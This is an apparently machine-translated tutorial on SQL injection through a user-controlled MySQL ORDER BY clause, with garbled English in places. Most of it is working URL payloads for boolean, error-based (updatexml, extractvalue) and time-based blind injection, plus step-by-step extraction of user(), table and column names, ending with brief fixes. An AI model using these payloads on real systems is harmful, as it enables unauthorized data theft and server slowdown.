Summary the “order by” clause used in MySQL Injections

What is the “order by” injection?

Contents discussed herein refer to the position of the controllable order by clause, the order parameter controllable as:

select * from goods order by $_GET['order']

Analyzing simple injection

In the early injection abound when using the order by clause to quickly guess the number of columns in the table, together with union select statements echo. In the test, the tester can modify the order parameter values, such as adjusting to a larger integer, then the situation is determined based on the number of echo particular columns included in the table.

In the case we can not know the name of the column by the column number to refer to the corresponding column. But after the test we can not do this operation, such as order=3-1, and order=2 is not the same.

http://192.168.239.2:81/?order=11 //error

http://192.168.239.2:81/?order=1 //not error

Further configured Payload

In front of the judge is not absolute, we need to construct a similar and 1=1, and 1=2 the Payload in order to inject the data.

/?order=IF(1=1,name,price) //Sort by name field

/?order=IF(1=2,name,price) //Sort by the price field

/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) //Sort by name field

/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) //Sort by the price field

/?order=IFNULL(NULL,price) //Sort by the price field

/?order=IFNULL(NULL,name) //Sort by name field

Further use of randthe function can achieve a similar effect can be observed is not the same sort of results

/?order=rand(1=1) 

/?order=rand(1=2)

Use the error

In some cases can not know the column name, but also less intuitive to judge the difference between the two requests, the following IF statement with an example.

Return multiple records

/?order=IF(1=1,1,(select+1+union+select+2)) 

/?order=IF(1=2,1,(select+1+union+select+2)) 

/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 

/?order=IF(1=2,1,(select+1+from+information_schema.tables))

Use regexp

/?order=(select+1+regexp+if(1=1,1,0x00)) 

/?order=(select+1+regexp+if(1=2,1,0x00)) 

Use updatexml

/?order=updatexml(1,if(1=1,1,user()),1) 

/?order=updatexml(1,if(1=2,1,user()),1) 

Use extractvalue

/?order=extractvalue(1,if(1=1,1,user())) 

/?order=extractvalue(1,if(1=2,1,user())) 

Time-based blind

Note that if the direct if(1=2,1,SLEEP(2)), sleep time will become number 2 in the current table records, as well as such execution BENCHMARK(1000000,100100); and other functions, will cause some denial of service attack on the server.

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) //Normal response time

/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) //sleep 2s

Data guess solution

To guess user() i.e. root@localhost as an example, since only a guess a solution may be utilized SUBSTR, SUBSTRING, MID, and left, and right we can accurately divided strings for each seat. Then you can use is to compare the operation =, like, regexp and so on. Here we must note like is not case sensitive.

May be learned by the next user() first for r, ascii hexadecimal code is 0x72:

/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) //correct

/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) //error

Guess the current name of the database table:

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) //correct

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) //error

Guess specify column names in table names:

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) //correct

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) //error

Suggested fix

The problem is that the attacker was a direct reference to the data object to pass the test, understand the application. This kind of problem can be summarized in the OWASP-2013 A4 (unsafe object directly references). Common repair method is as follows:

1. Filtered through a string expression n. Only letters, numbers, underscores allowed field appears.
2. Whitelist ideas, indirect object reference. The front end of the transfer reference number or string, etc., for the back-end to do the mapping array, so you can hide the database data dictionary effect, to avoid direct reference to the harm.